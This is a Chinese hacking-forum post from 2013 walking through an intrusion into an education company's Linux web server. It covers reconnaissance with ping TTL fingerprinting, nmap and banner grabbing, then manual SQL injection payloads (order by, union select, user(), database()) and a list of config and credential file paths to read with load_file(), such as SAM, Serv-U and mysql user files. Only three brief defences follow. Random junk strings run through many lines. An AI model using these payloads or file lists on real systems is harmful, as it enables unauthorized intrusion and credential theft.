找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2400|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
  E/ f$ g- x$ z" T! o( u$ e一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
" L# P0 l4 D5 F7 _5 Z! S; D第一步:获取需要的信息
- n! K1 h% R' x* i8 U+ j由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
$ t4 E5 U9 E* }9 `( [注:以下为保护特用XXX代替敏感信息) U. w" z1 S8 `$ f: t$ c% B
顺手先PING了一下他们的域名:2 ]. H# K7 z# `0 C- Z3 o( A- v# J
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
' i1 g7 F7 ]4 L5 Q* F. u# g7 A64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
2 @8 I- E, Y# K  S2 N( c* s/ c顺便了解一下TTL,学好基础知识才能一路顺风:7 q( ~0 m% x, d
TTL:(Time To Live ) 生存时间' E4 p/ R5 J+ V- J
指定数据包被路由器丢弃之前允许通过的网段数量。
, c" J/ j; W; V5 o0 STTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
0 r$ J, S3 a8 v4 I2 y使用PING时涉及到的 ICMP 报文类型
0 W) |& F- n4 K' y1 n" n) p一个为ICMP请求回显(ICMP Echo Request)
# a$ k8 n7 N1 d) W. w4 e一个为ICMP回显应答(ICMP Echo Reply)
7 B. E+ @- t" b, I6 x( VTTL 字段值可以帮助我们识别操作系统类型。! S" Y7 n0 v$ r6 i5 M
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
/ }) O& q& w/ z4 p1 p5 [Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 643 V. ?' ]" X: J1 t0 O3 O: @' F4 E
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128! U* I* ^  G* R! |/ j9 |; S
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 320 F& T' E& ^2 h2 E' ?' V) G
当然,返回的TTL值是相同的2 U% L1 O) U  F/ J
但有些情况下有所特殊$ f$ x8 ]. G7 c  |4 S; w  y7 X
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
* K! n7 S) S; q- F5 t$ L3 [0 `( P+ \; YFreeBSD 4.1, 4.0, 3.4;
  m( G; L% E1 O* r, t' q) T1 aSun Solaris 2.5.1, 2.6, 2.7, 2.8;. u+ t) ^  F7 C
OpenBSD 2.6, 2.7,' ~0 P. h( O( F
NetBSD, v; m7 F) j9 Y2 m! N
HP UX 10.20
$ i1 ^3 P# W9 ~" bICMP 回显应答的 TTL 字段值为 255
0 i7 s9 I. t$ l7 QWindows 95/98/98SE* ?( [( l  X4 C# V0 w4 c' {6 V
Windows ME7 O% M! I4 q/ r% J% [
ICMP 回显应答的 TTL 字段值为 32
, w4 W, V( y; I. t3 ?( N& x+ vWindows NT4 WRKS, h$ M9 }! A6 d9 |# R
Windows NT4 Server" e5 e7 [3 l+ P. b4 W
Windows 2000
6 Q/ U) d3 J1 n0 \8 p. eWindows XP( _. ?: ?2 K1 }( W- x) y
ICMP 回显应答的 TTL 字段值为 128
+ l; D2 J; Q3 z% I这样,我们就可以通过这种方法来辨别操作系统
5 B- e- q2 n5 s! HTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
0 @2 f5 _7 f( {1 \用NMAP扫描一下:( ~$ B0 ~/ Z* U6 k1 |7 L: L
nmap -sT -O XXX.XXX.XXX.XXX7 n+ L8 F3 Y# r' d/ `
如果没有装WinPcap则会弹出提示:
4 D/ O* c/ B2 @; z- [& C: {WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
6 B$ J. A# q& P6 L/ l( Yade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(2 v5 ?! t8 V2 ~5 }% h* v
) mode — Nmap may not function completely
! ~; R% c7 Y( a. w: [; W3 [TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
) X' H. R' X) W' ~and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
& V: k8 f  y( z& t" A5 mpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an% p( o4 y0 D9 \. `6 h$ |# l9 b
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v( K# _/ c* ^, e
ersions, you may be able to take iphlpapi.dll from another system and place it i. U* J# n# ^0 w3 a
n your system32 dir (e.g. c:\windows\system32).9 s2 g9 d% a2 F6 v0 X
QUITTING!
3 M0 r# ]( h6 C1 ~3 o+ ]8 ?到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
- m- O" d3 H+ D安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
, R9 a3 Z" a9 p1 u; G# ?1 bInteresting ports on XXX.XXX.XXX.XXX:  |$ I# T0 Y- o
Not shown: 986 closed ports3 y) ~" E9 p$ Y: R
PORT     STATE    SERVICE) H/ p8 ~* g8 r  _' \: I9 T
21/tcp   open     ftp
. O- a* l  Q1 l+ F22/tcp   open     ssh1 G; T0 \" c1 A1 J( a. Z6 P) }# @' E3 S! g
23/tcp   open     telnet- C9 l9 J% z* b2 B
80/tcp   open     http( e. s- n4 v# ^! |
111/tcp  open     rpcbind( R! w+ f1 D* i9 z; n0 j
135/tcp  filtered msrpc
) V: e- u4 M  w. G7 S, d139/tcp  filtered netbios-ssn
9 H8 y) S* J7 `3 f0 m$ `445/tcp  filtered microsoft-ds
( {6 Q9 P7 I) [$ l5 `9 R513/tcp  open     login
) F: v" [' n3 H) H* t6 i/ l% a+ B5 B514/tcp  open     shell
1 z: Z6 L5 M% _6 R/ e7 }. d593/tcp  filtered http-rpc-epmap
) J5 y7 z6 ^  V5 N8 O0 r1720/tcp filtered H.323/Q.931' A  l# W- X  c/ u5 h
3306/tcp open     mysql
( E' V/ D  ?+ c& d0 k! G, [4444/tcp filtered krb524
, F! g* V, U+ w; T7 }Device type: WAP
# J/ A5 A  L. ~Running: Linux 2.4.X
* x  X" g" m' S7 f6 ~0 z$ a- }' i0 IOS details: DD-WRT (Linux 2.4.35s)$ e; k. d2 Y6 C6 j  L
Network Distance: 13 hops( }. d' E. N- J* i
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
( G- Q+ l; |% i& m  f3 clogin as:3 B; u3 z" [/ f& J
Telnet23端口也是开着的,用telnet 命令链接一下:
* e  [) l7 W5 Z# Ltelnet XXX.XXX.XXX.XXX
1 R1 m1 X" d9 l: `, O2 O提示:
& e: A/ m. a  P; z% `Red Hat Enterprise Linux Server release 5.2 (Tikanga)
1 K5 g& Q# I5 r- B. a* wKernel 2.6.18-92.el5PAE on an i686/ `7 O% @6 J' G+ [+ ^9 F
login:* I9 z2 N. j5 ~7 T
获取HTTP头信息:* ]' P# U" P. V4 x) i) A0 W' n5 e
在本地执行如下PHP代码% J% b7 h6 ]& ]) l: V. ?
<?php3 P7 ~6 P" E; \/ U
$url = ‘XXX.XXX.XXX.XXX’;
1 p3 m' h: d- eprint_r(get_headers($url));" E( M3 U! x8 {6 K5 t1 Q, A
print_r(get_headers($url, 1));! Q) j( n9 M, N- p3 E8 x6 `
?>
5 h+ Y# q# `2 T) x  B. |, e/ \- u将以上代码保存为PHP文件,执行:
2 K% A* P8 v5 V4 N- _4 gArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )9 U. T. l9 J( Y3 J7 X! H( p- l
现在可以得出结论:
: e4 u( V. G2 ?# l: z系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
) \  o9 g& l. _$ q% r2 ?9 b) }内核版本:Kernel 2.6.18-92.el5PAE on an i686
* W) Y: {$ W  Y; u; Q1 ZWEB服务器版本:nginx/0.7.61
/ d: ^1 N" Q# J0 H. E! \6 |第二步,开始测试寻找漏洞/ T1 O! r3 u: S! J
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
, U7 n+ j7 B/ S1 Y  l" m& m1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的: m3 z, Y0 c8 ^/ q
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
, p+ i+ X% O. z/ N$ [" O+ vhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
) I5 n/ m- s# R0 S. b1 ehttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
8 t& G" \2 ^( h: t: u( D恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续  f4 K, ^( E3 |
3、手工注入:& M3 Q/ `* I; i; Z5 q/ J; ]. |
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
' x7 P* L# r4 q; p. @; q3.1 猜测当前表字段数
1 {$ G6 |# k, ~& g% W! nhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
- \0 O: ^  ?* A% k4 w) e此处猜测有个简单的算法,都是有技巧的吗,呵呵5 G: Z! M/ t: G& Q+ f% f: J& P0 |
算法简单如下:8 y; P3 ~+ g8 ?3 ?: r1 M& A
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
7 R/ i3 g1 l) E第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;6 H$ g  D$ k. Z7 }4 I
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。2 K- \: J7 z  u, q. s& V# F" ?
以此来判断,是否过界,配合取中算法猜出字段数。
4 w1 p5 d/ U+ g! S' O) ~举例:
8 `" |7 \  ^4 ?8 Thttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常- R1 w" c6 f+ b1 U' I  L* _
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误8 q1 L, O) j" C. }
此时3则为我们要找的字段数。7 z) z) S; Z/ u" W
3.2 配合union联合查询字段在页面所位置
; a! X5 M% h/ U, U& e我们已经知道了字段数为3,此时则可以做如下操作:# y8 i3 y1 c% q, C
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3& {# X& w- T0 E) p  x/ }

7 _& y! g# I9 t' m. g! I7 {这样就可以测试到哪些字段在页面上有所显示了,如图:
% K; X1 x& c. [
+ V% M) C' m2 W- y3 Q+ Q3.3 查敏感信息
$ |3 y) @  F' s) q这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
( ]9 x+ F2 S; o# @http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
" F5 V) _) l3 `! K# @/ {3.3.1 先查数据库用户、数据库名,以备后用,如图:
8 U/ r+ n, G: j' N# `: p# f; q2 t& F9 j$ J: ~
得到数据库用户为root、数据库名为DBxx;- o5 Z2 ~+ ]9 o( r: Z  e9 r
3.3.2 查配置文件8 ?1 S- l/ z6 F9 T
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。9 Z9 O: i$ [. g/ K
查看文件有一定的条件限制:
! T0 {/ J7 W+ y' U) V欲读取文件必须在服务器上
3 i0 |: X" S$ i% y. d/ Y/ a必须指定文件完整的路径" Z( X6 q) m# a5 N' p! l8 l
必须有权限读取并且文件必须完全可读
# \5 @( j6 t8 z1 T欲读取文件必须小于 max_allowed_packet
+ c* Y* z; O8 h, n% i, {8 gMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。' Q! ?& q- G6 `; C2 d& e
常用的一些:
2 l0 E+ K( T$ u7 _/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
& y' ^6 m9 s5 ^3 N/usr/local/apache2/conf/httpd.conf8 Y$ Y" w$ I* m$ |. I
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
+ U1 O5 k1 c1 J/usr/local/app/php5/lib/php.ini //PHP相关设置- U% F. q) N/ {/ O% v$ P8 j* _
/etc/sysconfig/iptables //从中得到防火墙规则策略% W: b7 ^# R0 M$ q. S: H
/etc/httpd/conf/httpd.conf // apache配置文件
. w. v' `, \  |4 }/etc/rsyncd.conf //同步程序配置文件
  u6 q7 w2 W6 g# [% f/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.* e  r4 R: U: ]# w9 U
/etc/my.cnf //mysql的配置文件" w( \; b  j5 j
/etc/redhat-release //系统版本0 k( K9 D6 ~, x8 O0 U3 ?% K3 ~
/etc/issue6 n4 m5 Q& _# x3 s3 j: M: W
/etc/issue.net
; N( F; T# {& O$ u$ P* Qc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
5 f+ V0 |" V( n  Y% tc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
+ g% M* O- M  ]6 vc:\Program Files\Serv-U\ServUDaemon.ini
3 M( h, m" U  {% y- ~c:\windows\my.ini //MYSQL配置文件, d6 y# m9 e2 q; V. y: J% m% T
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件' f1 z0 `: c7 t0 ]
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,4 H) o$ y9 L+ a* v
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码7 \6 ?' J" I1 P4 [. ^  \
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此3 e, ]: g& w; c9 p; X( h2 c
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
+ q- m" n  _1 \4 ]! n! JC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
9 Z% u3 T$ B! t8 j% `//存储了pcAnywhere的登陆密码! A1 z1 q/ L% ]2 ?4 h' r! q
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
6 V9 l8 r& L! T3 c; @0 ~这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。; k2 H5 N3 O- v. }3 M
最后:防范措施
7 O. W( d$ C/ \6 J1、修复PHP注入漏洞;5 r9 M: S: d& n- I( F1 j
2、Mysql使用普通权限的用户;% T7 b: J; Z$ f( A
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表